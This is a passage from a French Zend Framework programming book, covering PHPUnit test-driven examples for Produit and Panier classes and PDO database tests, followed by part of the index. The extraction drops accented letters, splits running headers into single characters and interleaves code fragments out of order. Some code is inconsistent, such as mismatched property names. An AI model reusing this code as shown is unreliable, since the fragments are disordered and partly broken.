$this->assertEquals(15.3, $produit->getPrix());
}
Figure H2
Arborescence du projet
H


P
r
a
t
i
q
u
e

d
e
s

t
e
s
t
s

a
v
e
c

P
H
P
U
n
i
t
Groupe Eyrolles, 2008
427
Les noms des mthodes tant explicites, cette classe de tests se passe de
commentaire. Lancer ce test maintenant va forcment chouer tant
donn que la classe Produit teste nexiste pas,comme nous pouvons le
constater sur la figure H-3.
PHPUnit peut intercepter les erreurs PHP non bloquantes, cest--dire
toutes sauf les erreurs fatales qui produisent une sortie peu commode
mais explicite dans linvite de commandes.
crivons une classe Produit simple qui puisse rpondre ces tests :
classes/Produit.php
public function testConstructeurAvecPrixNegatif()
{
$this->setExpectedException('ProduitException');
$produit = new Produit('souris', -13);
}
}
Figure H3
Une erreur bloquante reporte par PHPUnit
<?php
require_once 'ProduitException.php';
class Produit
{
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
428
Cette classe est lexact rpondant aux tests. Elle effectue le minimum de ce
que les tests lui demandent de faire. Ds lors que nous souhaitons toucher
au code de cette classe pour faire voluer les fonctionnalits, il faudra :
crire de nouveaux tests, cela avant dcrire le code ;
repasser tous les scnarios de tests du fichier afin de mesurer limpact
de nos modifications apportes sur lexistant ;
ne surtout jamais effacer un test existant : ils sont gages de prennit
(sauf dans de rares cas).
Dfinition de la classe de tests du Panier
Le panier est lgrement plus complexe que les produits. Procdons
donc par un dveloppement itratif, petit petit, en faisant jouer lecho
qui existe entre les tests et la classe utile :
tests/PanierTest.php
private $_nom;
private $_prix;
public function __construct($nom, $prix)
{
$this->_nom = $nom;
$this->_prix = (float)$prix;
if ($this->_prix < 0) {
throw new ProduitException('Prix ngatif non autoris');
}
}
public function getPrix()
{
return $this->_prix;
}

public function getNom()
{
return $this->_nom;
}
}
<?php
require 'PHPUnit/Framework/TestCase.php';
require '../classes/Panier.php';
class PanierTest extends PHPUnit_Framework_TestCase
{
private $_panier;
private $_p1;
private $_P2;
public function setUp()
{
H


P
r
a
t
i
q
u
e

d
e
s

t
e
s
t
s

a
v
e
c

P
H
P
U
n
i
t
Groupe Eyrolles, 2008
429
Ici la mthode setUp() initialise certes le panier, mais aussi deux pro-
duits quelconques, dont nous allons avoir besoin afin de tester le panier.
En lisant le code dinitialisation de setUp() (appel avant chaque sc-
nario de test) et le code de notre premier test, nous en dduisons les sp-
cifications suivantes :
une mthode isEmpty() doit exister et doit retourner true juste aprs
la cration dun objet Panier ;
une mthode total() doit exister et doit retourner 0 juste aprs la
cration dun objet Panier ;
lobjet Panier doit implmenter linterface Countable, afin de
rpondre la fonction PHP count() et doit retourner 0 juste aprs la
cration dun objet Panier.
Le code minimal ainsi dduit pour faire passer ces tests est :
classes/Panier.php
$this->_panier = new Panier();
$this->_p1 = new Produit('souris', 2.7);
$this->_p2 = new Produit('clavier', 3.9);
}

public function testConstructeur()
{
$this->assertTrue($this->_panier->isEmpty());
$this->assertEquals(0,$this->_panier->total());
$this->assertEquals(0,count($this->_panier));
}
}
<?php
require 'PanierException.php';
class Panier implements Countable
{
public function count()
{
return 0;
}
public function isEmpty()
{
return true;
}
public function total()
{
return 0;
}
}
SAVOIR Standard PHP Library
Countable est une interface PHP faisant partie
de la SPL (Standard PHP Library). La SPL est
compile doffice dans PHP. Elle fournit des classes
et des interfaces natives qui permettent, entre
autres, des classes PHP davoir des proprits
complmentaires. Par exemple, un objet dune
classe qui implmente Countable peut tre
trait par la fonction PHP count(). Dans notre
exemple, nous nous en servons pour connatre le
nombre de produits dans un objet Panier. La
SPL est aborde lannexe C.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
430
Mais ce code sert-il quelque chose ? Actuellement pas vraiment, si ce
nest faire passer les spcifications dcrites dans le test.
Maintenant, ajoutons des spcifications sous forme de tests :
Suite de tests/PanierTest.php
Lajout de ce test va entirement remettre en cause notre classe Panier (trs
sommaire actuellement). La premire ligne ordonne lajout dun produit
pralablement configur dans le panier, 2 reprsente sa quantit.
Les tests immdiats sont de vrifier quun count() sur le panier retourne
bien 1 (il y a bien 1 produit dans le panier, mme si sa quantit est de 2), et
quune demande au panier sil est vide (isEmpty()) nous retourne false.
Puis, lorsquon demande le total au panier, tant donn quil ne com-
porte quun article, il doit naturellement nous retourner son prix, multi-
pli par sa quantit.
Voyez ce test en figure H-4 qui nous informe que la mthode add()
nexiste pas dans la classe Panier. Il faut maintenant complter celle-ci
afin quelle passe les deux tests crits dans notre classe de tests :
public function testAjoutDansPanier()
{
$this->_panier->add($this->_p1, 2);
$this->assertEquals(1,count($this->_panier));
$this->assertFalse($this->_panier->isEmpty());
$this->assertEquals(2*$this->_p1->getPrix(),
$this->_panier->total());
}
Figure H4
Un petit changement dans les tests,
et tout tombe
H


P
r
a
t
i
q
u
e

d
e
s

t
e
s
t
s

a
v
e
c

P
H
P
U
n
i
t
Groupe Eyrolles, 2008
431
classes/Panier.php
La classe reste simple et lisible, elle est correctement factorise et passe
les tests. Ajoutons-en encore deux :
suite et fin de tests/PanierTest.php
<?php
require 'PanierException.php';
require 'Produit.php';
class Panier implements Countable
{
private $_produits = array();

public function isEmpty()
{
return $this->count() == 0;
}
public function add(Produit $p, $q)
{
$this->_produits[] = array((int)$q,$p->getPrix());
return $this;
}
public function total()
{
$total = 0;
foreach ($this->_produits as $tab) {
$total += array_product($tab);
}
return $total;
}

public function count()
{
return count($this->_produits);
}
}
public function testTotal()
{
$this->_panier->add($this->_p1,2);
$this->_panier->add($this->_p2,3);
$this->assertEquals(17.1,$this->_panier->total());
}

public function testIterator ()
{
$this->_panier->add($this->_p2, 7);
$this->assertThat($this->_panier,
new PHPUnit_Framework_Constraint_TraversableContains(
$this->_p2
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
432
Deux scnarios sont ajouts. Lun va tester le total, car mme si nous
lavons dj vrifi avec un produit, il est toujours mieux de contrler.
Le deuxime test va vrifier que lon peut parcourir Panier, et quil sert
des instances de Produit.
Essayons immdiatement de lancer la classe de tests de Panier, avec les
deux nouveaux scnarios frachement ajouts :
Comme on pouvait sy attendre (figure H-5), le dernier test concernant
litrateur choue. Cependant, nous pouvons noter que le troisime test,
concernant le calcul du total, passe, et ce sans changer notre classe Panier.
Il est donc ncessaire de pouvoir parcourir, dans notre panier, lensemble
des produits quil contient :
Suite de classes/Panier.php
)
);
$this->_panier->add($this->_p1, 8);
foreach ($this->_panier as $produit) {
$this->assertType('Produit', $produit);
}
}
REMARQUE Jusquo aller dans les tests ?
On pourrait crire des centaines de scnarios, mais
il faut slectionner les plus pertinents, en sachant
que chaque report de bug futur fera lobjet dau
moins un scnario clairement identifi.
Figure H5
Trois tests passent, mais un choue, le dernier
<?php
require 'PanierException.php';
require 'Produit.php';
class Panier implements Countable, IteratorAggregate
{
H


P
r
a
t
i
q
u
e

d
e
s

t
e
s
t
s

a
v
e
c

P
H
P
U
n
i
t
Groupe Eyrolles, 2008
433
Encore plus loin avec PHPUnit...
PHPUnit est une librairie de tests complte. Elle permet aussi
deffectuer :
des tests de sortie (vrifier que PHP affiche bien quelque chose) ;
des tests de performances (vrifier que telle mthode ne prend pas
plus de X secondes tre traite) ;
des tests dintgration, cest--dire de piloter un navigateur sur un site
(via du code PHP), afin par exemple de lui faire ouvrir une page, cli-
quer sur un lien, et vrifier que tel lment HTML est prsent dans la
page rsultante. Ceci se fait en interaction avec Selenium serveur.
PHPUnit permet galement de tester une base de donnes de manire
plutt efficace. Le principe est simple : deux mthodes additionnelles de
cration de contexte vont mettre la base de donnes dans un contexte
avant chaque test, grce un fichier XML simple, puis la restaurer aprs
chaque test, pour le test suivant. Chaque test va modifier la base entre les
deux tats, puis vrifier quelle contient bien les donnes attendues, tou-
jours grce une description XML.
Nous allons donner un exemple trs facile sur une table membres tout fait
simple. Nous allons, avant chaque test, la remplir avec un lment quil faut
dcrire sous forme XML. La balise root doit sappeler dataset. Chaque
enregistrement est une balise portant le nom de la table. Cette balise pos-
sde autant dattributs que la table possde de colonnes, avec leurs valeurs :
original-data.xml
Puis nous allons crire un test qui va insrer dans la table un autre
membre. Aprs linsertion, il faut vrifier que la table contient bien le
membre en question. Ceci se fait une fois de plus grce une compa-
raison entre la base de donnes et un fichier XML :
// suite et fin de la classe
public function getIterator()
{
return new ArrayIterator($this->_produit);
}
}
<?xml version="1.0"?>
<dataset>
<membres id="1" nom="ponon" prenom="guillaume" ddn="1978-
08-15" email="guillaume.poncon@openstates.com" />
</dataset>
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
434
insert-data.xml
BDDTest.php
<?xml version="1.0"?>
<dataset>
<membres id="1" nom="ponon" prenom="guillaume" ddn="1978-
08-15" email="guillaume.poncon@openstates.com" />
<membres id="2" nom="pauli" prenom="julien" ddn="1982-11-
01" email="julien@z-f.fr" />
</dataset>
REMARQUE PDO uniquement
Les tests de bases de donnes avec PHPUnit ne
peuvent tre effectus quau moyen de PDO.
<?php
require_once 'PHPUnit/Extensions/Database/TestCase.php';
class BDDTest extends PHPUnit_Extensions_Database_TestCase
{
private $_pdo;

public function __construct()
{
$dsn = 'mysql:host=localhost;dbname=phpunit';
$this->_pdo = new PDO($dsn ,'julien','password');
}

public function getConnection()
{
return $this->createDefaultDBConnection($this->_pdo,
'phpunit');
}

public function getDataSet()
{
$originalXml = dirname(__FILE__).'/original-data.xml';
return $this->createFlatXMLDataSet($originalXml);
}

public function testInitialisation()
{
$this->assertDataSetsEqual(
$this->getDataSet(),
$this->getConnection()->createDataSet());
}

public function testInsertionDeDonnees()
{
$this->_pdo->exec("INSERT INTO membres (`nom`, `prenom`, `ddn`, `email`)
VALUES ('pauli', 'julien', '1982-11-01','julien@z-f.fr');");
$insertXml = dirname(__FILE__).'/insert-data.xml';
$this->assertDataSetsEqual($this->createFlatXMLDataSet($insertXml),
$this->getConnection()->createDataSet());
}

H


P
r
a
t
i
q
u
e

d
e
s

t
e
s
t
s

a
v
e
c

P
H
P
U
n
i
t
Groupe Eyrolles, 2008
435
Pour tester une base (ou des tables), notre scnario de test doit, cette
fois-ci, hriter de PHPUnit_Extensions_Database_TestCase. Cette classe
ajoute quelques mthodes aux mthodes dassertions dj connues.
La mthode getConnection() sert crer un objet de test de connexion.
Mme si nous avons dclar une base de donnes PHPUnit dans PDO,
nous devons la rpter dans getConnection().
getDataSet() est obligatoire, elle retourne un objet dataset reprsentant
des donnes lues partir dun fichier XML. Cette mthode est appele
avant chaque mthode de test et va peupler la base de donnes des
valeurs lues partir du fichier XML.
getTearDownOperation() est appele aprs chaque test. Ici, on dit que
lon veut effectuer lopration truncate sur notre table, donc la vider.
Nos tests se servent alors de assertDataSetsEqual() pour comparer
deux jeux de donnes entre eux : celui issu de la base de donnes et celui
issu dun fichier XML. assertTableEquals() est identique, mais com-
pare deux tables entre elles, plutt que deux bases de donnes. Nous
aurions pu lutiliser dans notre cas de test aussi.
Les tests de Zend Framework
Zend Framework est lui-mme test avec PHPUnit et fait appel des
notions plus avances de PHPunit, comme les objets Mock ou Stubs, les
suites de tests, les lanceurs et les gnrateurs de couverture de code.
Les tests de Zend Framework se trouvent dans le dossier /tests de
larchive. Ce dossier reprend larborescence du framework, mais ne traite
que des tests.
Chaque composant comporte une suite de tests, matrialise par le fichier
Alltests.php, et la racine des tests contient la suite qui lancera toutes les
suites de tests de tous les composants. On peut employer ce fichier pour
tester le framework entier sous diffrents systmes dexploitation ou sous
diffrentes versions de PHP. Cest dailleurs ce qui est fait pour sassurer
que Zend Framework suivra bien les volutions futures de PHP.
Attention, lancer la suite de tests globale est trs lourd. Lensemble du
processus de test durera ainsi plusieurs dizaines de minutes, voire des
heures !
public function getTearDownOperation()
{
return $this->getOperations()->TRUNCATE();
}
}
T Suite de tests
Une suite de tests est tout simplement une classe
qui va se charger de lancer un ensemble de scna-
rios de tests les uns la suite des autres. En
gnral la suite lancera tous les tests dun compo-
sant. Une suite peut lancer dautres suites.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
436
Analyser les tests du Zend Framework permet daller plus loin dans le
concept des tests. Intressez-vous aussi aux tests de Zend_Session ou des
requtes HTTP dans MVC. Vous en apprendrez beaucoup sur les pro-
blmes rcurrents lcriture de tests. Par exemple, en environnement
CLI, $_SERVER est trs rduit. Il nest pas non plus possible de tester les
sessions (facilement), et tout ce qui gnre des en-ttes HTTP ou utilise
le buffer de sortie de PHP.
Des solutions bases sur des serveurs crits en PHP et rpondant aux
sessions sont alors mises en place. Elles sont relativement complexes,
mais ingnieuses.
Lire et comprendre des tests, cest aussi tout simplement comprendre le
fonctionnement du produit test, Zend Framework dans notre cas. Et
comprendre le fonctionnement du framework est un atout extrmement
important dans la conception de projets le faisant intervenir.
Tests fonctionnels avec Zend_Test
Les tests unitaires reprsentent un gage de prennit dans la mesure o
ils confirment quun composant fonctionne bien, dans un cadre donn,
gnralement assez limit (le composant seul, ou trs peu entour).
En revanche, les tests unitaires nassurent pas quun ensemble important
de composants lis entre eux fonctionneront de la manire attendue.
Pour cela, il convient dutiliser des tests de fonctionnalit, de manire
pouvoir sassurer quun enchanement doprations diverses aboutit bien
au rsultat que lon souhaite.
Zend_Test est un composant qui tend PHPUnit et permet de tester des
fonctionnalits dans le modle MVC de Zend Framework. Vous trou-
verez tous les dtails concernant Zend_Test dans le chapitre 14.
Groupe Eyrolles, 2005
437
Index
$_SESSION 153
$this 315
.svn (dossier) 413
-> (oprateur) 315
_ 58, 317
_ (prfixe POO) 316
__call() 346
__clone() 348
__get() 345
__isset() 347
__set() 345
__sleep() 350
__toString() 349
__unset() 347
__wakeup() 350
A
abstract
classe 322
mthode 323
abstract (POO) 322
accs
disque 403
liste de contrle d~ 152, 160
ACL (Access Control List) 152, 252
bootstrap (dclaration) 162
action
aide d~ 94, 243
helper voir aide daction 95
actionstack 124
adaptateur
authentification 157
Dbtable (authentification) 158
Zend_Auth 157
Zend_Translate 171
ADOdb 310
adresse IP 41
agrgation (POO) 327
Exemple 327
UML 331
agrgation (UML) 331
aide
daction 94, 104, 243
AjaxContext 95
contextswitch 95
cration 96
description 97
flashmessenger 95
gestionnaire 127, 129
Json 95
redirector 95
RedirectorToOrigin 96
Url 95
ViewRenderer 95
viewrenderer 109, 132
de vue 91, 120, 143
Ajax 142
AjaxContext (aide daction) 95
alias SQL 57
allow_call_time_pass_reference 400
allow_url_fopen 401
allow_url_include 401
always_populate_raw_post_data 401
amorage
fichier d~ 34
anti-pattern 46
Apache
configuration 23
dfinition 394
htes virtuels 115
prrequis 23
Subversion (liaison) 416
version 18
APC (Asynchronous Procedure
Call) 68, 188, 196, 404
configuration 406
exemple 405
fonction (liste) 407
fonctionnement 405
monitoring 405
option 404
Zend_Cache (et) 408
application
architecture 4
communication entre ~s 216
application exemple
squelette 82
apport (de zend Framework PHP) 3
architecture
de lapplication 4
utilit 4
Zend_Controller 78
ArgoUML 333
argument
typage 343
ArrayObject (SPL) 46
assert() 421
assertion 271
test 421
association (POO) 326
UML 331
unidirectionnelle 327
Atom 218
attribut (de classe) 314
authenticate() 158
authentification 152, 156, 157
adaptateur 157
clearIdentity() 159
Dbtable (adaptateur) 158
getResultRowObject() 159
rcupration dinformation 159
auto_prepend_file 401
autocompltion 262, 285
autoload 30, 71, 196
exemple 80
autoload (POO) 361
danger 363
exemple 362
introduction 361
pile 362
autorisation
notion 152
avantages (de Zend Framework) 2
B
backend 187, 188
base de donnes 49, 302, 305
ADOdb 310
architecture rpartie 309
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2005
438
charge 309
cl 305
clustering 310
connexion PHP 307
couche dabstraction 310
extension 307
insrer des enregistrements 56
MCD 304
mtadonnes 68
Oracle 306
ORM 309
outil de conception 304
pilote de ~ 55
rplication 310
reprsentation graphique 304
SQLite 307
typage 304
baseUrl 114, 145
bibliothque
de composants 280
bind 56
bloc 56
body
Zend_Layout 89
bote noire 202
bootstrap 34, 103, 193, 272
exemple simple 80
performances 79
Zend_Acl 162
Zend_Controller 79
Zend_Locale 170
Zend_Session 154
Zend_Translate 176
boucle de dispatching 89
bufferisation de sortie 126
C
cache 73, 185, 252
compiler dans 196
hit 198
miss 198
op-code 195
pages 186
partiel 186, 187
support de ~ 188
cadre de travail
dfinition 2
cahier des charges (de lapplication) 9
caractre
dchappement 56, 202, 207
jeu de ~ pour la localisation 169
jeu de ~s 207
cas dutilisation (UML) 329
catch (exception - POO) 336
catch (exception) 338
chargement de classes automatique 31
choix techniques 12
classe 313, 323
$this (variable spciale) 315
abstraite 322
chargement 30
clonage 341
description 313
diagramme (notation) 330
diagramme de 330
exception 336
exemple 313
fille 318
instanciation 314
mre 318
mthode 314
objet 314
passerelle 66
relation (entre classes) 326
serveur 219
statique 190
strotype 330
visibilit 316
cl (base de donnes) 305
indexation 305
cl primaire 60, 63, 64
multiple 63
CLI (Command Line Interpreter) 272
clonage (POO) 341
exemple 341
interdire 349
clustering
base de donnes 310
CodeIgniter 2
cohsion (POO) 366
commit 306
communication entre applications 216
commutation de contexte 136
composant 4, 224, 235, 256
architecture 280
bibliothques 280
quivalents PHP 168
tendre 288
externes 292
framework 298
rutilisable 4
utilisateur 281
Zend_Acl 160
Zend_Auth 156
Zend_Cache 186
Zend_Config 34, 52
Zend_Controller 78, 101
Zend_Currency 179
Zend_Date 180
Zend_Db 39, 50
Zend_Debug 43
Zend_Feed 230
Zend_Form 250
Zend_Layout 88
Zend_Locale 169
Zend_Mail 243
Zend_Memory 186
Zend_Pdf 247
Zend_Registry 45
Zend_Session 39, 153
Zend_SOAP 228
Zend_Test 270
Zend_Translate 170
composite 53
composition (POO) 328
config 53
configuration
Apache 23
fichiers de ~ 34
minimale de Zend Framework 22
const (POO) 321
exemple 322
constante
classe (de) 321
convention 322
constante de classe (POO) 321
constructeur (POO) 317
exemple 317
contextswitch (aide daction) 95
contrainte
dintgrit (base de donnes) 305
I
n
d
e
x
Groupe Eyrolles, 2005
439
contrat (programmation par) 325
contrle
accs
Zend_Acl 164
liste de ~ daccs 152, 160
contrleur
daction 104, 126
de services 221
frontal 103, 109
initialisation 87
rle 80
vue 85
initialisation 87
postdispatch 87
contrleur (MVC)
dfinition 384
conventions 18, 71
de codage 281
de noms 31
cookie 153, 203
mcanisme 153
scurit 209
session (option de) 154
Copix 2
couplage (POO) 327, 366
Cross Site Scripting 205
CSRF (Cross Site Request
Forgery) 207, 254
jeton anti~ 209
CSV 140, 238, 241, 245, 283
adaptateur Zend_Translate 171
D
date (Zend_Date) 182
date.timezone 401
DbTable 158
Debian 18
dbogage 40
dbogueur 262, 266
debug_backtrace() 289
dclaration
du log dans le bootstrap 94
dclencheur (SGBD) 69
dmarrer
conseils pour ~ 5
dpendance (POO) 328
Exemple 328
dpendances 46
design pattern 366
Fabrique 283, 368
Faade 291
famille de pattern 380
introduction 366
Observateur 374
Observateur/Sujet 374
Proxy 370
Registre 378
Singleton 103, 367
strategy 131, 146
destructeur (POO) 317
exemple 317
dveloppement 40
plateforme technique 18
pratiques de ~ 298
rgles de ~ 4
Dia (logiciel) 334
dispatching
boucle de ~ 89
display_errors 401
distributeur 117, 125
distribution
vnements 121
jeton 114
processus de ~ 105
DNS (Domain Name System) 202
DocumentRoot 24
DOM (Document Object Model) 271,
276
donne
chappement 202
export de ~s 238
protection 202
DTD 174, 230
E
chappement
caractre d~ 56, 202, 207
Eclipse 262
version 19
EDI (environnement de dveloppe-
ment intgr) 262
e-mail
envoyer 243
encodage
UTF-8 247
en-tte
Zend_Layout 88
environnement
CLI 272
de dveloppement intgr 262
paramtrer 399
PHP 398
erreurs
errorhandler 112, 123
gestion des ~ 43
error_reporting 401
errorAction()
exemple 93
ErrorController 93
espaces de noms
de session 156
session (Zend_Session) 155
tat desprit (de Zend Framework) 6
tendre (Rowset) 71
exception 115, 123
classes 45
Zend_Exception 44
exception (objet) 336
exception (POO) 335, 338
dfinition 335
exemple 336
imbrication 339
personnalise 338
Zend_Exception 338
exemple
application
cahier des charges 9
choix techniques 12
conventions 18
en ligne 11
expression du besoin 10
maquettes 12
mises en garde 18
objectif 10
spcifications 11
URL 11
export
de donnes 238
expression du besoin 10
extension PHP 51
dfinition 398
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2005
440
quivalents Zend 168
externals (Subversion) 24
F
Fabrique (design pattern) 283
Fabrique (motif)
exemple 368
gnrique 369
introduction 368
Zend Framework (dans) 370
Faade (design pattern) 291
factory() 39, 52
faille de scurit 203
fetch 55
fetchModes 55
fichier
damorage 34, 103
de configuration 34
FIFO (queue) 362
fille (classe - POO) 318
filtrage
formulaire 255
scurit 203
filtre 41
de vue 147
final (POO) 325
dfinition 325
exemple 325
mthode 325
Firebird 51
Firebug 41, 69
flashmessenger (aide daction) 95
fonction (de classe) 314
fonction PHP
debug_backtrace() 289
parse_ini_file() 35
serialize() 64
simplexml_load_file() 36
footer
exemple 91
Zend_Layout 89
forge (dfinition) 416
format
de stockage (internationalisation) 171
ini 34
PHP 34
XML 34
formateur de code 266
formulaire
cration 250
filtrage 255
scurit 203
validation 255
forum Zend Framework 26
framework 296
autres ~s PHP 2
composition 296
dfinition 2, 296
inconvnient 299
objectif 296
rutilisabilit 298
FrontController 103
frontend 187
fuseau horaire 181
G
gabarit de page (exemple) 90
garbage collector
session 155
gnie logiciel (POO) 326
gestion des erreur
(Zend_Controller) 93
getRequest() 88
getResponse() 88
getStaticHelper()
(Zend_Controller) 95
gettext 175
adaptateur Zend_Translate 171
cration des fichiers 177
PoEdit 172
getTimestamp() 70
H
hameonnage 203
header
exemple 91
Zend_Layout 88
helper
action ~ 94
HelperBroker (Zend_Controller) 95
hritage (POO) 318
exemple 319
multiple 320
relation 326
static 321
HTTP 202
caractristiques 153
optimisation (serveur) 397
persistance 153
redirection 129, 135
rponse 115
requtes 103
Response Splitting 205
serveur (pour PHP) 396
serveur (rle) 397
httpd 24
I
IBM DB2 51
IDE (Integrated Development
Environment) 262
include_path 401
performance 23
inconvnients (de Zend Framework) 3
indexcontroller.php
(Zend_Controller) 81
Infocard
authentification (adapteur) 157
Informix Dynamic Server 51
ini (format) 34
init() (Zend_Controller) 87
exemple 88
getRequest() 88
initialisation
du contrleur 87
injection SQL 212
Innodb 66
installation
de Zend Framework 21
paquetage 22
instanceof (oprateur) 341
exemple 341
intgrit rfrentielle 66
Interbase 51
interface
fluide 57
interface (POO) 324
classe abstraite (et) 325
dclaration 324
dfinition 324
exemple 324
I
n
d
e
x
Groupe Eyrolles, 2005
441
rflexion (de) 352
internationalisation 168
interoprabilit 215
IP (adresse) 41
itrateur 62
itrateur (SPL) 357
principe 357
iterator (SPL) 356
J
Java 195
JavaScript
scurit 203
Jelix 2
jeton
anti-CSRF 209
jointures (requte) 53, 69
JSON 137, 217
aide daction 95
L
L4G 3
langue
modifier 178
paramtres rgionaux 168
layout 89, 104, 124, 135, 243
dclaration dans le bootstrap 89
layout.phtml
exemple 90
LIFO (pile) 362
LIMIT (requte) 69
Linux 18
LISA (Localization Industry Standards
Association) 171
liste
de contrle daccs 152, 160
locale 168
localisation
date (prcision) 182
format de stockage 171
jeu de caractre 169
log
dclaration dans le bootstrap 94
log_errors 401
logiciel
ArgoUML 333
Dia 334
modlisation (de) 332
StarUML 334
Umbrello 333
M
magic quotes 255
magic_quotes_gpc 401
magique (mthode) 66, 344
dans Zend_View 84
maquettes (de l'application
exemple) 12
max_execution_time 401
MCD (modle conceptuel de
donnes) 304
md5
Zend_Auth 158
Memcache 188
mmoire
consommation 194
menu
dclaration (Zend_Layout) 92
mre (classe - POO) 318
mtadonnes 68
mthode 55, 58
abstraite 323
authenticate() 158
classe (de) 314
clearIdentity() 159
debug_backtrace() 289
factory() 39, 52
final 325
getRequest() 88
getResponse() 88
getResultRowObject() 159
getStaticHelper() 95
hasIdentity() 159
init() 87
magique 66, 344
partial() 91
postDispatch() 87
preDispatch() 87
renderScript() 95
toArray() 38
mthode magique
__call() 346
__clone() 348
__get() 345
__isset() 347
__set() 345
__sleep() 350
__toString() 349
__unset() 347
__wakeup() 350
danger (utilisation) 345
visibilit 346
Zend Framework (dans) 346
mtier
objets
persistance 71
sauvegarde 71
Microsoft SQL Server 51
mises en garde 18
mo (extension de fichier) 177
Mock (objet) 356
Model (MVC) 59
modle (MVC)
dfinition 384
modele vue controleur (mvc) 384
modlisation 283
logiciel 332
modlisation (POO) 326
models
dossier (Zend_Controller) 78
module
Zend_Controller (MVC) 80
monnaie (Zend_Currency) 179
motif de conception 366
Fabrique 368
famille de pattern 380
Observateur 374
Observateur/Sujet 374
Proxy 370
Registre 378
Singleton 367
MVC (Modle-Vue-Contrleur) 59, 384
avanc 102
avantage 384
contrleur (exemple) 390
exceptions 112
exemple (hors Zend) 386
implmentation 388
implmentation par Zend
Framework 78
introduction 384
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2005
442
langage (utilisant MVC) 384
modle (exemple) 388
module 80, 118
plugins 104, 108, 110, 120
principe de base 385
propagation de paramtres 47
registre 110
rpartition du code 98
requte HTTP 79
schma gnral 388
sous-systme 47
tests 270
utilisation 384
vue 104, 124, 127, 134, 142, 389
MySQL 51, 305
ARCHIVE 306
extension 308
INNODB 306
MEMORY 306
MYISAM 306
version 18
N
new (POO) 315
O
objectif
de l'application exemple 10
objet 314
$this (variable spciale) 315
clonage 341
cration 314
distributeur 103
mtier 69
Mock 356
rponse 103, 115
requte 103
Observateur (motif)
erreur (gestion) 376
exemple 374
introduction 374
utilisation 377
Zend Framework (dans) 378
opcode 195
cache 403
dfinition 402
open_basedir 400
optimisation
accs disque 403
APC 404
compilation (de PHP) 403
opcode (cache) 403
Oracle 51, 306
extension 308
ORM (mapping objet-relationnel)
dfinition 309
solution 309
ORM (Object Relational Mapping) 59
output_buffering 400
P
paquetage 281
dcompresser 23
installation 22
Ubuntu 23
Zend Framework 22
paramtre
~s rgionaux 168
parent (POO) 320
parse_ini_file 35
partial() (Zend_Layout) 91
passage
rfrence (par) 340
passerelle
classe ~ 66
de table 50
referenceMap 66
Row Data Gateway 74
vers les tables 59
path_info 118
patron (classe) 323
PDF 195, 238
attacher 246
cration 247
images 249
PDO (PHP Data Object) 51, 307
performances 49, 68, 269
optimisation 186
persistance 71
HTTP 153
PHAR 196
phishing 203
PHP 394
accs disque 403
apport de Zend Framework 3
architecture d'une application 4
autonome (utilisation) 394
caractristique 394
composition 397
core 397
environnement 398
extension 51
dfinition 398
format 34
frameworks 2
HTTP (serveur - utilisation) 396
internals 397
introduction 394
Linux (utilisation sous) 396
opcode
cache 403
dfinition 402
optimiser 402
PHP Core 397
php.ini 400
principe de fonctionnement 394
rgles de dveloppement 4
SAPI (couche) 398
simplicit 2, 6
souplesse 2, 6
threads et forks 396
Unix (utilisation sous) 396
version 18, 22
Windows (utilisation sous) 395
Zend Core 397
php.ini 400
paramtrage 400
PHP2XMI 331
PHPCodeSniffer 202
PHPDoc 285
PHPUnit 270, 422
assertions 425
exemple 423
installer 422
version 19
Zend_Test 436
PHXIMX 331
pied de page
Zend_Layout 89
pile (LIFO) 362
pilote
I
n
d
e
x
Groupe Eyrolles, 2005
443
de base de donnes 55
piratage 202
plateforme technique 18
po (extension de fichier) 177
podcast 218
PoEdit
tlcharger 177
utilitaire gettext 172
POO 312, 320, 321
abstract 322
agrgation 327
autoload 361
classe 313
clonage 341
composition 328
constructeur 317
dpendance 328
destructeur 317
exception 335
final 325
hritage 318
interface 324
introduction 312
organisation 312
PHP (implmentation) 315
PHP4 et PHP5 315
SPL (Standard PHP Library) 356
visibilit 316
postdispatch
du contrleur 87
Zend_Controller 87
PostgreSQL 51
extension 309
Prado 2
predispatch() (Zend_Controller) 87
prrequis 5
principe (de Zend Framework) 3
prise en main 21
private (POO) 316
procdures
stockes (SGBD) 69
production 40
profilage 50, 68, 69
profileur 196, 262
programmation
contrat (par) 325
programmation oriente objet 312
proprit (de classe) 314
protected (POO) 316
protection des donnes 202
protocole
HTTP 153, 202
proxy 73, 203
Proxy (motif)
exemple (proxy dynamique) 370
introduction 370
public (POO) 316
Q
QSLite 307
queue (FIFO) 362
R
recouvrement (d'une variable) 45
RecursiveIterator (SPL) 358
redirector (aide d'action) 95
RedirectorToOrigin (aide d'action) 96
rfrence (passage - POO) 340
rflexion (POO) 352
export() 354
Zend Framework (dans) 354
register_globals 401
register_long_arrays 401
registerautoload 80
registre 43
Registre (motif)
antipattern 379
exemple 378
introduction 378
utilisation 379
Zend Framework (dans) 380
rgles de dveloppement 4
utilit 4
relation (POO)
association 326
remember_me_seconds 154
renderScript() (Zend_Controller) 95
rplication
base de donnes 310
rponse
HTTP 115
requte 64
HTTP 79, 103
parcours (Zend_Controller) 79
jointures 53, 69
LIMIT 69
objet 113, 117
personnalise 69
prpare 54
SELECT 55, 57
ressource 185, 217
REST 137, 217
RESTful 222
rsultat
jeu de ~s 55
Rowset 61
retro-ingnierie 331
PHP2XMI 331
PHXIMX 331
rutilisabilit
framework 298
rutilisation 280
reverse engineering 331
RFC 2617 157
rollback 306
routage 117
dfinition (Zend_Controller) 80
principe 117
